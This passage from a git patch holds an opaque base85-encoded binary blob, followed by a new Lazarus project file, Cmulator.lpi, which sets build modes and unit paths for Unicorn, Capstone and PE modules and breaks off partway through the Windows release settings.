z9ZGouR`WacO_cBb`}FeL^)I4owj~_Jo6k$|L0JDi{xX$q?fo0{d;dPY{BC`ak0)%9 z`tTO?8eVuC+Kx}atnV{lW4k_h6w<%70*9g?<-#ja89oFXk^DZE@W3PK8(ug7Ey0K3 z-AIl_6t-Bu_ixwB@7y2y1HPu1{tNq}61;FA8iN-OwdDagA4!`L_?-1g*kQeLlsX4V zogieAr^hn|-?Qbyd?v5!s3SZ8CGkEu3P~JB;ru?tF@1=_@kdk6ScPF9?&W-x`{67k z^s>cicXoIW^PqXDA_$n$R2GX#o(8RnSu18XygtF#lAzTQg+<{jh z-3}amf*H@fe}7(nm;MiE)UxiHJ^b7s;N^E;V@TpT4qK6YN4)U#fy5qOI2tMH3(HYY zd>H-%$!~E9Ph*2Jw5{OIK#9Vf#U;w9*^=c9DXMK z#|L2pYQd-Bz_V=ou*!ND9(J}Vci>diPJI_{K|Aoi;Ytld(&rG&KZo&LPB~nJBt9ds z`?)61IPfmilR9by`-NoPAe@5aJLrX*P!V4EIvR>k!-5i1-w&Tea(ol;pJ)_ygyYZS z{KX6BqUrbuTs6{+Ng5t{KIa1E!euCl7e0x$;e~&(UidodpgaZtiR2ttqlg)_m~!Fk zD2f;M{}E%3_ru4KTssob|6|Tg%7gG%NX9=7dt6{Ve+R4{N6jm!4+jU$7zW_;sGy;{ z<|7w!?%{>ET}1xG3m>&!_`LPP6dFw(;Z+yYe|!k8M>2*WXM|gB8`+^r9hlb+= z@O~uQjlv&XZsN*;uOlf>!P!4C-i58!r{D=!F#ha|@Z2$sEnaxam5c>G0JE=RoY|HS zrqLq2@V8gfKYRiQ{{h&5dbMGz*CoNK}p#vAX44_Tjp$CQ~q z`{6}Me#=yNXgT}Hc7=UVPrM&qjV4k@_%W)&3;SQg_f+A9!%#gw0H-3E^SJPL)~8@) zg^9f|%&9cqfg6z=(M`@Y`l(ZI$jt@6Y;{q6WIn{I1(+w2jNkZxTfI!aQ0;K0^4=r6G&ny0eej`{deF( zB*!HQKSugI4HIKXd{q4PCja=SDpiW4T=)Unz_x@vrV&qg;ZfH6;cg`L6VsVTA@R-( z#tLnxzOZyAxdJaNN6t!eFD#v9`W%9{Ah~u#;On+L1wB>d2&)rFQPKMe6QT!ZZmm6zF+S2pP4=cU^$ZgmG7IYu|5i)Ttp1hhXmY?q)z8| z(21AtqMP<}@(gw4JLx__I>+A0J|c->`Hs3%A||)Uch%i@7x{$x@||_t(P+Hz>|b!4 z@WOI52QS}gchcSFe39?AJA1KdN513kSEztG!c%_9brvtY8V$$Gci>%pk6Bl~2X7Pd zQ7+$y_c7A@axde7q+GrqZ#7pK;7%mRS3RKA_mJFY zIq)>=1MqK1jR$p*F8rrSj{nli(eoY;iGUZl6DgCH!m`t7_KMB{in)!zFXU>CHOpFQVBfXFCh*!Dp zu&n^R0_|WQg_~ca5B%Pca0}{-7w$xZ@aiwj8Iats3Adtk^g;M{l*Fso=`+%OhEq^V z`V4PIJEYI>S)}_67rjBQrVml*P1$1#-$62WO2g%E8Xt!*A$>0ofBBXvPr&xKna0tM z@QHWGrT7Fq|6S8&5Z;O;9}2gKr;hMbv<)9UN}aBRt>(Ggdz6w_Z2_ z$$9F+4QLeW2L8rx8K5$J8b0tLxrOVjFRj!HBx4?jr5`ijpr0W);~$jcU08=?Y~!%< z6BD;#_%s^Du@gEwnUmv%=b$h?2&W-ejxQY5Vb_HzB>Uq2lk@#k)93gua?5AteDuM& z*1NC)>3+h^)~DdW&rN-Ke`l5Taaf_UROn&G5Z=Y_#t!-ou>>#UQ5&3CfTMfy4@M7lq))%p}Xt%s=-fKOVVfZLJOPs0L! zi$S~tZ$!FH_?h*5dARC_q>dk!S|5TNkuKuy;W#99!Z2#R@Lx#k ztHT&iq}LT9sUL@})~De24mafvyxjT(?AFVy>x0v*cVW_cVL^eZ!rxk-fS&K# zcHlJYUHGi^N!aTMQzrynB>faFwLT7$)(bzfo*y$(4wCx9Gp&!n6q0=x7WFpX5AU`< z3frs?e?LpDM^ZlthaG8r09GJ9&Tz5yQ8@Ak?7v)_;3&s+UDAgH3?FBxF6Sg~tvs`x1x0@S8D@!k3ZWM|k)^;~h8>N#BAnillGCmyxay4?oe? zhnHF(f zOF2FbgC(Y1_#Be*Bs}#zv#kJJk0cJ0a5vI(-I2sClCkxj&wim4{SgkkfNkJ~C8!72 zg&>@Rswo!^xsZLtYhFa0;1|ONl)wugMoD}EjvP&#v8^CchGE4O*27nk&NJ|iF~&#Wvq-MLNtkz~@jiGX(m5IS zzsh(&oPeZ$7%sCucy*S#c`V1B>!u4|Kzdv7N8^kS!dXb?OjvKdQ<0_qj`Vp^nWZLQ zYrLA6rEZ^O%V!arRd~i+*pBAlg$K>1Exhn5)PfiO47KBh40h9r5?Q9_$a*m=O*4lumQ<_#o>TEX_GPc!&^}iZARd$Nbfs5DPnv8 z-fevper&zEi)%WP`XShCeF7fv3sdfc*C1&>44<(+2|qa7j8z&|Kg@Y0`v`ye8_rF96yETt znIpOI1*DH7Jnu2%gYaSN15akDdr%4MCZFQ`N*M3{F-yITWLtqvS!yeicGPpk9un_| z7g`^If3-gFC-Mx^^`FmDKSa7dyuf-F{@Hq!%u+Lv?7Isakc?p*j(fqLFL1<*#s}dR zB=u9U>?PyF@ZinH`{4OV&Wj+Nholb?_@?z~c%(w`^>O&)*T{Rse-Q3K(x&q|@rLxhJS=^~_~@HiD*r8$ zdwp*+&uq(5HIH$;;MMPCsn_tr;qQ~X@WNjs?^<#ioVbH?lkzaU4@nM>!rf@hqkI=W z9QP0E;f2eQi;u&DwIZM)6GcPCqnTxp)_L z>zS=~;eGI$AJ9JI9EQ10wmyzNSZ{qCb{v(h$6WQvRwp7Ef8jkxXDc7$EUf68t@`4H zuJywEQ8DFF_zxuGBlI7WtsbEd!U$@?3*SLfN9Y`zty(D;UXQlplWtsf;=2asVED8poP3_rWbgvsE=d1wR>P z#@~NB+d)!41>G~)N10c{nF0F2{4EVH7@4gGv2GOp9qIG;eCqrt+uXasS1!(0rP4mU z@)CX*jgV;*;=!Qq!L(eEiC6wfVP< zCp_b7#*O(;0FDotF$u#RNOD4CY_>XnoEZ~8TrZw=lQ1&g?jsyf#9*Pw89rzL&O1W^%b^P8nUN{R)#K+;UC(<9@ zi%Gy|CmElF^Cp|~F$sS@#T=tJ924dk(Z2Am>xsX|yKDX$UxZJ4j?lD8eW0?GKq zVH=W|Ny8D-Oq~#{LvkGBu>W+nA=fE*Ba-9p!eKK_--2)!lKL)u*!mRgIm@&kfxkiP z7%SmZXaipO32Ma)kC{z8HXL0k7sT_Naid5YLlJx$&Yy4h5vGvD zv+&qkj1RzvkUlRK;E|kIgqWAs+*6M!#1nyuO?Pr;KOV}IC}0K5&!I7HwP&1TFU zcrlXlINbbO;)MEXIQ$7So*_6N>3j&C-*J9D$+3n5P(Ag9Gtnb>;S;C@FUX;|IA8E#c*a)FLwo?<+e$p+qp1&)@0KQ~b^>y!>OXQ+VNcv<@GJ zx1mx0#pf>I%l{w_@xnKdixD!nsxo~d?fXQ@F0HUPulds-e?o!Al!yFBsepQDQKF03CwU%7vb!=e*&)ELVB&>5VgpIZudqUqAk$vNtbVpAsohn-6Q zxF!bR5vQ3t4qSrdUMUKThnoHbVD;%aYB=pg;LB&2W0Zn_NAmuWut$J?avX(6qawT? z{`E|=tu!nF!xF`o<4XKlJ@;DV7>4bB=Hl0 zPa}QZgl{6LpN0djGUa}FDU$LKY(nz>qcDjA>$&E_ZdcPEyboTAq|FH2V0{ukG@fHa zJ5jjPdc|)cjz&@*g8yZG0uCs*eSnuET?d|WjTyrLY`fN!`>taQk>v9z3{NugEG(Il zqvp`JAk3Q1G5#I>ghyB9sKu1~;o#Y{i5D)tfn$ajCQ%RS3x76;Ht`X7s%zQ_z_Igl zRETon(`Y(gm`2rj;dg$TqiXODe6iZB8@eq=-M)zJQXYZp?=(IMKf2rWO)bt*eQIn! z;o$phKjGl}iGS%cEJK^|!n>D{Yw%I{+(Ya??I+>*IyxnE`ZSFF)*Qz;9QL?9rcZF*JxRamr}JMq>V2f2 zmBGiKGClzxTA!mPKEuAiwZG?F=DbM2MbEH3%G2=RjpX*HyK8h1He?nor z@Ezphoj>HLf1$v#?wUn^VOM7VCv=)(e+zGIe~<=O|Cov?E-AHqnmo zxEFF%3h#%jUo_`Y9G<(GeWZQ$GRJ5u=LvNpf8kp5I{QYs@W?mGq4>nxIqDDF*cZI; z-gmi%;iGVDyNUlWJoddD)l9kY60`v?eDD1n)rt>orw<>PZ3&P28^@7y;dN*fJ`AUP z$hA#8JR{BVVon%SL*X*C3orZ_`Pi1~k*f|kFjpUUAMA0EX~*HW!JkJmo=JEoKin#L zF9pXRlB>_VFw8wPSDzO?c+_`tRWoDmhhux@s>RZ0`0`=2!+mZF{tLw@7yj+=T(u4_ ze70Av+Kf-aKtZnl?6>eq)K0l@8`^~zj`=SAXIsMikdzA_LVYQZ!XuBMt!4ZcI;=;7 zC>L%*C3xZ8-!oo#9~vX;!W)mwRdevdKcU5V;pqN#No{sGA~E(za7`gw(v^)ucFi>&vCD!k-`T-A>@h2v2GFRVmC zyl|Q=7cQ{n!iX&wUhcR14yT^Nv8(H@T-bypK7}8hma872P2p~|39p9IM-lz>!zrkY za^YRWbJcXb@FBDaFZ{_lxoQbM1Q#J`U)WH>m{Tr%6z#w#;MwPyV;6+8MiSF4^bO{p zZ_0ge$i=k9^WFg5UdlLACk+p|+>Dz81J(;qAIJGlodCQSjlxIaPV3e9Ty+_e@(^5W zeFF9>GvyAPWxWfxTAzYL%1xaByx00D+-beKhW3$eAFj1N0ee;0_Ten+UAWcy6dYd3 zxj^57umMRsap;*~ybo4bABG#PPr|}$O&vd6Xnh2>S)Ya@t}}Ilu)+E`^h~tv!wT!e zaHI7}SUAbH4;NY=fo;~O;poYx{~@>*N&geD*A(L&ILmq$ZnZuIhlEX?0KC`wDBNki zx}LE`dTilZ>l3ioRNFqBWxWfxTAzYLrrGx4z1BzJPU{uF&3zft?ZdU!Ct$A`wtYCu zdKYfBJ_U!&wC%%tt&hT;)~i{xk97NRt@R1mtID$(fTCJIx|mS%Y1N{^#OPk0`@xBwhw1n z@4~Itr{ItgwtaZ7^-;LfdR0RENVgByTAzTu&a>^qS=PI7tMw^3WTb5$-fMjn?zCQ= zPy0x>57%0sfW1c9_Ten+UAWcy6ddv++djP4`Y7CKz4~#U>W^gZ;fD*6Y%2oWtWU!c z7nt%OY_L8KJwa3MgB8|?VJ(umcO1TDeHxCq(6$2`tdB#_MYbJSVSN~Gv_1(7FE(}j za2%5M!?4!+IP{FR?Z67_!>|_V{=m1aPs2W!m~uZHXMGrML^2LZSa_-3E?j7R1h!e9 zhDTjy#}F<=dJN%uTb_hjrS`ml=OXD(5Z-Ei1U_SZ66RlS>iFO~B*!QLKeAr^Bu@=Q zQXYWUTkpbOTc3a*S+A}jmXMAmxYqgv`~*pV)EMd@T?ekUJ^>e8Y4Sz{wjrsLhR0rI z#}JN1(w{Kgj3ig5;P9)B55fi{>&BrcWV{bnSRaNPtxv+jv8Ik6F0?)Z+pJH+5#vmq zAZ)Nc4n5;-`>?|LFx+T;5*C)(_TfS0d1^HI(+4Y%^fL@MTAzf4*Vy`Sq4g2iW_=ot zs4#Vcu)+E`^i-O1AFQxG3^!VzgoP7q`*5N45!hyZ8jiTuwhtSuk3-LOwtZM(eHd=E zJ_!pa+V>m#tu`ZOFd$+iz0tdB#_WZOQhus#eoTAzf4Q*8Tiq4g2iW_=ot2;25y zgY|Lfx!$%9E36O0jn*e&;Z)l`Txfj+wppKsBc|E*VT1K?=$UTYhZWX`;YRC|uyBTL zA1<^$0^6)l!x1xW`>?_KIP}c2?ZXP|!*HYZNmy8A+lLFSkH9wT({RLW+dgctJ`O!M z*!E$C^$(fTATyveo?7g`^I zZPusZh?{Nuu)+E`^tiTtSYdq_ZnQoL3+LJP;X>;pu+92395LUv4;!qHL(eU?eOO_A z7;dya2@4n4_TfV7Be2c-G#v3$+dgctJ`O#%+V)|E^(g*V zwQV0ZSRaR;+id%=!ul}WXnhhE{>-)y7g`^IZPusZh}&)Zu)+E`^enRN!wT!eaHI7} zSa^qRA1<^$0^6)l!x2BX?ZXD^OI=g>4^JSRaNPtxv+jyKVb$q4g2iW_=otSZv#e4c5n@=a;s9SYdq_ZnQoL3-7V* z!-dvIV4L-6IO1O0K5Vc)4m~xteOO_A7;dya2@CJD?ZbuEM_`-vX*lA3+diC!dm&)<9U20g>u>ve)vS5 z3d(&G{A8UeS5M}tKO=dMDFsJu$kXrV2H_?o&#RNr|8$=Dj4^xwN&P5%<{8t^B>Y7S z+m+Aa!nS8kc^VG+qwxWFKa%&$qVUB{=J=*y&*$>=XMuz-AU|^z;qiZBj)nKbT}VGO zPv)r}FPb)eaQ;iCTy4oy_aPaRDEt)3w*0Mm>bXDX>Gxif@c38FzWd>#znEheft7Eu z4Yn1AAH2){#;WPR9Dk|kL zr+dD>*Y?4p16iMPKRoB~eEqq;AiSnmzN%-t!r+*EmB0%}UYW1QEeP|j&e!qggT9d2 zmN1U==K$fEh*&y6jW_%hRa816BVIO=HO=QmLub@37&q5RMlnLw$$H;{#)FJa~ z*yCEnmnS8pOYFCvrj)n}9Qbxf)$`D$?3l&9fs*XNt}>)~Tl^VK@q6rMjV zUnTLvD^WW>I6GgRb%R+q2nXJ1d;lIb$F>Pym}`6ruD{86pPR2fLeih$Jl36Wy#E%) z8%cQrE?r=J93J^o`o?yJi%<<-Sc{tQfm`#{bqh`XF#P>(97l3U5-z!&{&O6o@Ch`E za^Z15=a}M!1CfhQzzgoQ#|1VbdA~0X4~iJ?gZ+@a7bbiI#aLJPK5D_IVdO4TU-%a! zpZ{@x!Er%y9D{cglSsU~nEFVb)eBGhr6~`<9oDOR7;_|bf-qve@CECI1MbaNt@J^7 zGTM$0z@H)AK77gg6g;}dl>6Z+_n9#az#1g=qwra@i*|&+yq|b}uDj++d|!MV{uxOf z;jbRZSA!@Q{sxuc6EL(S-{d0rq4jAv{XtXiLg!b;3lr80FL=n52jOPxQ_zjtb>R#3 z=KM;*0n5$!`(fV(yN__4^$9q1C4D9*$Km;n`8p2=;bv4ypM~|m&sUXr;gpT}su~}L zZ?|y%lec|;WK59$tRw8Z$#_3})cORR{G91e7~b|L&g*B0VYmXxI5$Dh^Yn*nhXc<< zHEe4*T#TfSaAlI1ro0KB@B-&Q-VevW$T<9o_ut`CBRSR_^9>GFlD{)AJ%uk z(yeApgw;se6fUt|_zsf(x5MAHGA8t41HAIj`6`SL!39X_2-jGjfZbo^_)(_^EJ1Rt zg$t~&hG+hT+$!zB&>Q(`6Fv+deVcyclhA#KyoVQddzbC<-e?baNt^Md&_&X|@b>q( ze(?FCX80D8zHNhtzi;-j0QR$9c)Ilg7_wd%wqE^}HjsLrF^46{ix0vJQ4f3wjzvCv z8N3C_crJi1AnC(q_<=1?!`OBcC&Hab>UY2+J}|yF9EW7xGWdY?OW@QG*+OeNZMHhA4Rh62Dlr^w!9sj??}qSaEN0qYf0(iX7qvu8a;Q5D`ZH3?yNa}Bfha5_qFOpl}8{hG$Fzcq^tvx+D2CCuV zhk5k1qX0HpFC22XM{T2iF?ys!aDJ27~MW5y%^e{+=akHEsCjW2?0kMZcwfHlLu zMaD0ImmcroJ4N^oBG~(frcL3S{XBXOybV6p-|R~QUOK?^p%lK4IS6GO?bko_y%$v+=66$TH(yo zJgVPI#5Sx9c=X?n3D=)VUn$=J<7b-~D;`eFoJ$NdJ_YbX>qo;otdGFcM$$g>!=dn3 z=X36`Ur~7U1o}XmePI&GJ(2KJw17Io?_W!t;DyVs^KiZ8GdA#tlRc^hFT4u9h7Z9u zBr)ks@u;6nZXFObCNV)&Nz+hCt6 z&LinR95>teGWc^O;~asHTfYu&K`!;1Z}6xiZ}g~YyaVq>vaQANBP9Lb0bAynm=V5+ zq|MFnvbm;yDSRBoXlEU~^d^oyz7!VU%(24@tB|vqV+yyRO_aC7i(Ip<(eNQ8`xt`< z%`@ZRgJsnmch>da=20tu&OYKpcM^w-X%`=XM>Vo9QU~52=X}OT;l+<}+@(G&ZYFN< zLAVwr@XfIIZ%zIYUXElO!tkBPO?f+PTxZUyCfMys)6X987ym`hp`FE0J!RGv<|pV| zoNEL;54BQf6ubt>7*@jh)-QnTtlt24qwUmJ>sj}AwD}v>g}0(@l)nadBWWl1_vA|? zURaJ~48t&Pz3_kyrj7##SuY%Jy>PbmbKoNDg-yt}h3gbN;%U>qAFe`v%3p&QK4Z#9 z!@H1tm)c_ZcU!&#UeLm}sb327pQTOu>4nE4ITwoH6eRoN!ufynsL|Aq!8WGmOIm&vyLZUj1<71=C|rpg+G&RGq5^z79QSuqzYI1Z>2nL* zZGG>LJ!%q?@-S?&UicAOKs!5NpB<*n;c&wz91F^YA0z484(RD1Mk)8g-bl(r@aBJ# zuPArnQ%J@+0k`ZTCs5uBCx6BSB=3}!P4$5!wY918Ivlw z19|_NncV9C;!eZ-%A0F#fo2iqA<%QH?+~&Zg;@K}%o+`&zE|5%JHTTLt!bB`ekq%lH4M6e#p9;Xpj=owh~r27DE!G_uf9(i17ARTTkx@yP5aI8&hv=#S2;#7Jd*Lp3ro*8`z~CI zWZh=?yHT`{-vIqTGW#OD1<6<~fQx=i%+ZeUyFsrSg?BIX@;Mf-nvO5K*sCraP5j_T z!w-$@KLxC$!9ZK;FeOxgz{FHf4S+K4_=2}qg?pV7-9x5d=eGB zMr^~YuJo!Rd}NqGs}j*9WZ$Huc=*?0JU8GWLB2dpml>c6uVK7?d^ zV(?Atx51|>ylM{hTVOkqm=O-HG`<*CTOWa^P4=o9>JNprNMfKKeuCtD>3}__m~9DP zMDln2o8f8Gh#%G+4j)Fctpt2^I@_lFHF(PmQ@#M6Hq*2dg&&Cj3-jJtUUfc_b;EEy z@>9M6o?XQ`kYwCo;cUi-@&G&wweXB61k)nCy1}dR&I;8pz3?3Cg(2&OH(4*d z$9my!tQT&wUigmn!rj&jotw;dg{N9CywG~#TRRua?SMqO~eoiKg2{XZpB%deloR?5qQ zQzy)vFtNO%eA=FcdoMnxidCnx+oQ^7mQQph%D=-3$4)zM^2{mMl}{~nW=uG9{P^-| z?AtYCCr&FbbWYgQ&d?L~zm=gUe5p@EPuR0_tUmOF&T->E`yPz0{_m1=D38|0YMX15 zwXL-&ewR(vdFy<2{<`A2cwKW{M_qVX)v}spv1Q5St;;)>s|IgFL4(r}Y$$E0YN&3g zX((M$xx!r$SrJ_kUy)eRvclh3+*sOJ)kwohu5Z9yTD>&3v}0*OZAoLKv8J)Pv8B;n zUA?+xb#hJX8Y-m7WuPD$tSzmrs;#L_EKe>^El;yGAKUUb_?iluikkdQfu@qC(xy;T zxT&hCx+&5WZHhHDHzk^qO|4DsP3b1J%Dbvym9xsfs(4k&s^F^7s>)SWtK3zQRW++( ztKzE?t6EmIu1c*+uj*LkUF}=#tS(wzygINtxVm(8G zmsTzfFO@N?SsGm$U)sF1WodG0YH2$osA_$+1+_)B{@Oro31bzi4KrTVwUJtL3={e& zw%4ZhQ7ou)^l>by3)Y3|D(kB1+`33zOiU}cXnnlCxxS@7S)ZzJukWZ=%Y4fUmK81YFAFRySys9%v`nI-dRb&y zln7~FmROct*1D{HS$dgT?pXm99fP%&SuAXXIf#{#jESZOR2 z3&*Nr)v-t{8jHo6V~JQY)*5S%rDJM^cSXSpXN7-7@rsfa!4)B*v`WWm&5D?f)YcWL z73mcnE4(XxE1i`^D~neKRt8s=uB==cUg@r^URkp;x-!19d1cGWqshC*#ctLPt2AOvms)( zikOWMvoT^eLCm%ivuR@1OUydNY%wt#BxWm#S(litA!g&mYzr})B4#^?+HN{#y-^<# zTSUYLh}cphHcZ4;6R}YuwwZ`c60z+>tRi9yh*&=nTSCN!h}bG3HbTV4h}Z-X+e*Zy ziC8ZY>kzTUL~M|Vtt4VyBDRLC6R%Cww&=W*uI;Gxl6RcCA~H{ah%F^z!$fQ~5gXOH zsHHAR#I_T$iij;BV*NyH2@xA2VylSQ2oW12ViQDcD-oL}V!cGHL&O#nu|XoXl8AMQ z*cu`>PQm5sl!y%zvDGVTbZ%`XwJ5OX!JJuh}a?`HbBId60u<-wwj2I z60yxhY?6p=Ct?*5TR_D6iP#b%Hblf$5wQ^>Hb%rIh}c#lHciBOiCBk-Ehb`vL~JDy z>k_dwL~NXhZ6RV)L~O@uFL~A>&lZzsgXGyt@~lgqts&3G$+Iow*%WzJB3AjjsffkzZW#B7k5tt4h$Vz!2ujT5si z#B7R~?O5t1&pPDUV)Cq9lPbxxE_t?wJR9d)*+QO8ajoni&-&^Lh*>`|TSCl+h}kM) zHbTtCxPB&x*;ZmUP0V_US%;V{CT4@gY$Y-460FA!bv=Y)8G9JnN8Wi^;P= z@@yq})+Nu@kZ0rM*%tC_iagsvp7oJui^#J9@@y%2HcXzaCeKF6v(4n$Bzd-7UrW9E z%Izo5mXK#d4VA>KOU%{~vvFd!g_undvmFgy@~lIiEhf(f$+MN@S(iLpL!OP3XIsd# zDe`OwdDcgsEh5hb$g`#7*)VywTF(b!E1H=RBv-T&vuR@1OUydNY%wt#BxWm#S(lit zA!g&mYzr})B4#^Qddag6dA6858zj$Gl4o7=Yz=ufuICR)Vz!-_Rm5z;e|&C0JUZP} z6iBp5K1`AQBx=&cNEKO3j=tn4pUy^d9AnEQ*ZB3-P>xf}ayc@RPl7swv@`^C#*ndY zjY&QTF_Lor%gBZG+1;@+tj}f{2d_R?y_}g5t{igCMLENYxB|$zqx{`eg8mhAo+QZR zat4&@ES*|fs`8WX$b}L^ej=us zoF=g#*(ykGl4IJwGNg}TyUsJx*RZ}CR&za+Y~t0|yNI5X73ka$U0tAaK~!I@=y-r@ z6e!X&s<=M0i}lq<&fDbD63)}4zLJ!34yHKcD!C@exg^{vaes~ zT8UEWZR?7Fj?7Yh#g~3d?3tcd=`7jV{}8#coolyby$*6*Naw05-PdNFqx5w(*i8lY z^f{!jr&aoj8r5?^$xbc$ikjBfR4-T6qCNSE6~o>1&Dj5K&aWh=ry6}<%H8dZasm0e zgj^jXKc`n!l7(x?z%687A6Yj*#toBgqeM%REX(%YZmK6x(J*t2DD#WtY8C0G`cV|) z%H2w=c)4O1llg*m?Of{$h}d?nIR#vAWIeM!S4~DsjxuHOZfXN?$k~#yU42$aOi2bz zlK#B_X16e)7B!@R*|t`H^bCWv&!48bAS2AChXI>#pL zoS-w>y*kG_I?ER8d$6Fs3#;7gES5P!OwSS$dY;g#X9{V1cFSzR(es63JwtGq!!nM^ zZYq~?jOeScx$^q-y-i5p*F^OEFr_n60Z|s_%GPeLWO63UQT!rj$}Fr>&%@-1%2iE{ zYTV{hnUBfn$<<9p(5Gi*MS5Nq(0R6W&ykl=mHC;BtX%D6bR`GN2&eTm&#SL`5*a3g zl<4_dNYB`+^qeiCXKgX=G``3#as<+P_U6^|H#rh2)lKzgC~EY4rCQI6oAs+#bM)IjQtVie_X>!~W_^d8tSi#9wNgD-lRM&= zz8{u*3z?-A=s8-6o}pFg`I+1W%N>Qx&AfVMR;=e`m3mfIqvvFD=i9FDd*vQNW@Dv# zE>^8)V$FIUCU?7DeXmSrd!`iY6F@0I1gBdPB?l)mTi>pPB+zTb%GyN!gt*GR8XVczqRXPf%o*st%5 zL;Aj0?l9u|{vxICE`0jlBB1Xq!uq}-%}`kN8#7^6O!Fr{mdrLnJ#w{X?-8z z=(~uZzK3x29YkE;Kcw{CgHPW(1oWLlSl>5%am`F~&Gd1{;MeyHA$_+H(f0}oeW#G- zn&ZhFOjtjOiR$MtT%GrN(iYHn24Q_)5Y=}DNqtYC^c{g;-w%ZJ-9SX&3ncWN zKw94iIQlLisP6&XJx>JXo>gZ5K0Wsj=$U_5&-Dhin&-D}J zF}XXHdA_5c00#B*KUY8fi#MqV@9%PWYPggyN(N%MXg$IQoFU~|;5bE*J$eIfm9 ztx7*#i`e_VW_{T3NQE~=lzb!M7YJ!?(tryFL*?dT^Q#rhdXP(S66 zIjy^A#uU>}=Mwh5v0cx070)|-_8DEVox;~!v_QN%N` zV$RQm!CV}0Qoe?)jPE3>g({-Bt!&8ng67? zqB=xfh}hYCJ0WJzQJ&JJn72ASt9wDAoM0u)~ z($6LiP%Y9mo~8wOBH@xL67)}zAp*pp%TuxhSwZoPAwX2QL{ft2QAA9DC~~dx&m`N(m=m0ZFm-%givsf`B3NQ0FYyb?RlO|M&GjWd!~YCI9;y literal 0 HcmV?d00001 diff --git a/Cmulator.lpi b/Cmulator.lpi new file mode 100644 index 0000000..ea2d33c --- /dev/null +++ b/Cmulator.lpi @@ -0,0 +1,334 @@ + + + + + + + + + + + + + + <UseAppBundle Value="False"/> + <ResourceType Value="res"/> + </General> + <MacroValues Count="1"> + <Macro1 Name="LCLWidgetType" Value="nogui"/> + </MacroValues> + <BuildModes Count="6"> + <Item1 Name="Debug_linux" Default="True"/> + <Item2 Name="Release_linux"> + <MacroValues Count="1"> + <Macro1 Name="LCLWidgetType" Value="nogui"/> + </MacroValues> + <CompilerOptions> + <Version Value="11"/> + <Target> + <Filename Value="Build/linux/Cmulator"/> + </Target> + <SearchPaths> + <IncludeFiles Value="$(ProjOutDir)"/> + <OtherUnitFiles Value="Core;Core/JS;Core/PE;Core/pesp;Core/Crypto;Core/unicorn;Core/Capstone;Core/generics_collections/src;Core/process;Core/GUI;Core/JSON"/> + <UnitOutputDirectory Value="lib/$(TargetCPU)-$(TargetOS)"/> + </SearchPaths> + <Parsing> + <SyntaxOptions> + <SyntaxMode Value="Delphi"/> + <CStyleMacros Value="True"/> + </SyntaxOptions> + </Parsing> + <CodeGeneration> + <SmartLinkUnit Value="True"/> + <Optimizations> + <OptimizationLevel Value="3"/> + </Optimizations> + </CodeGeneration> + <Linking> + <Debugging> + <GenerateDebugInfo Value="False"/> + </Debugging> + <LinkSmart Value="True"/> + </Linking> + </CompilerOptions> + </Item2> + <Item3 Name="OSX_Release"> + <MacroValues Count="1"> + <Macro1 Name="LCLWidgetType" Value="nogui"/> + </MacroValues> + <CompilerOptions> + <Version Value="11"/> + <Target> + <Filename Value="Build/OSX/Cmulator"/> + </Target> + <SearchPaths> + <IncludeFiles Value="$(ProjOutDir)"/> + <OtherUnitFiles Value="Core;Core/JS;Core/PE;Core/pesp;Core/Crypto;Core/unicorn;Core/Capstone;Core/generics_collections/src;Core/process;Core/GUI;Core/JSON"/> + <UnitOutputDirectory Value="lib/$(TargetCPU)-$(TargetOS)"/> + </SearchPaths> + <Parsing> + <SyntaxOptions> + <SyntaxMode Value="Delphi"/> + <CStyleMacros Value="True"/> + </SyntaxOptions> + </Parsing> + <CodeGeneration> + <SmartLinkUnit Value="True"/> + <Optimizations> + <OptimizationLevel Value="3"/> + </Optimizations> + </CodeGeneration> + <Linking> + <Debugging> + <GenerateDebugInfo Value="False"/> + </Debugging> + <LinkSmart Value="True"/> + </Linking> + </CompilerOptions> + </Item3> + <Item4 Name="OSX_Debug"> + <MacroValues Count="1"> + <Macro1 Name="LCLWidgetType" Value="nogui"/> + </MacroValues> + <CompilerOptions> + <Version Value="11"/> + <Target> + <Filename Value="Build/OSX/Cmulator"/> + </Target> + <SearchPaths> + <IncludeFiles Value="$(ProjOutDir)"/> + <OtherUnitFiles Value="Core;Core/JS;Core/PE;Core/pesp;Core/Crypto;Core/unicorn;Core/Capstone;Core/generics_collections/src;Core/process;Core/GUI;Core/JSON"/> + <UnitOutputDirectory Value="lib/$(TargetCPU)-$(TargetOS)"/> + </SearchPaths> + <Parsing> + <SyntaxOptions> + <SyntaxMode Value="Delphi"/> + <CStyleMacros Value="True"/> + </SyntaxOptions> + </Parsing> + <CodeGeneration> + <SmartLinkUnit Value="True"/> + <TargetCPU Value="x86_64"/> + </CodeGeneration> + <Linking> + <Debugging> + <UseHeaptrc Value="True"/> + <TrashVariables Value="True"/> + <UseExternalDbgSyms Value="True"/> + </Debugging> + <LinkSmart Value="True"/> + </Linking> + </CompilerOptions> + </Item4> + <Item5 Name="Debug_windows"> + <CompilerOptions> + <Version Value="11"/> + <Target> + <Filename Value="Build/win/32/Cmulator"/> + </Target> + <SearchPaths> + <IncludeFiles Value="$(ProjOutDir)"/> + <OtherUnitFiles Value="Core;Core/JS;Core/PE;Core/pesp;Core/Crypto;Core/unicorn;Core/Capstone;Core/generics_collections/src;Core/process;Core/GUI;Core/JSON"/> + <UnitOutputDirectory Value="lib/$(TargetCPU)-$(TargetOS)"/> + </SearchPaths> + <Parsing> + <SyntaxOptions> + <SyntaxMode Value="Delphi"/> + <IncludeAssertionCode Value="True"/> + <CStyleMacros Value="True"/> + </SyntaxOptions> + </Parsing> + <CodeGeneration> + <Checks> + <IOChecks Value="True"/> + <RangeChecks Value="True"/> + <OverflowChecks Value="True"/> + <StackChecks Value="True"/> + </Checks> + <VerifyObjMethodCallValidity Value="True"/> + <TargetCPU Value="x86_64"/> + </CodeGeneration> + <Linking> + <Debugging> + <DebugInfoType Value="dsDwarf2Set"/> + <UseHeaptrc Value="True"/> + <TrashVariables Value="True"/> + <UseExternalDbgSyms Value="True"/> + </Debugging> + </Linking> + </CompilerOptions> + </Item5> + <Item6 Name="Release_windows"> + <CompilerOptions> + <Version Value="11"/> + <Target> + <Filename Value="Build/win/32/Cmulator"/> + </Target> + <SearchPaths> + <IncludeFiles Value="$(ProjOutDir)"/> + <OtherUnitFiles Value="Core;Core/JS;Core/PE;Core/pesp;Core/Crypto;Core/unicorn;Core/Capstone;Core/generics_collections/src;Core/process;Core/GUI;Core/JSON"/> + <UnitOutputDirectory Value="lib/$(TargetCPU)-$(TargetOS)"/> + </SearchPaths> + <Parsing> + <SyntaxOptions> + <SyntaxMode Value="Delphi"/> + <CStyleMacros Value="True"/> + </SyntaxOptions> + </Parsing> + <CodeGeneration> + 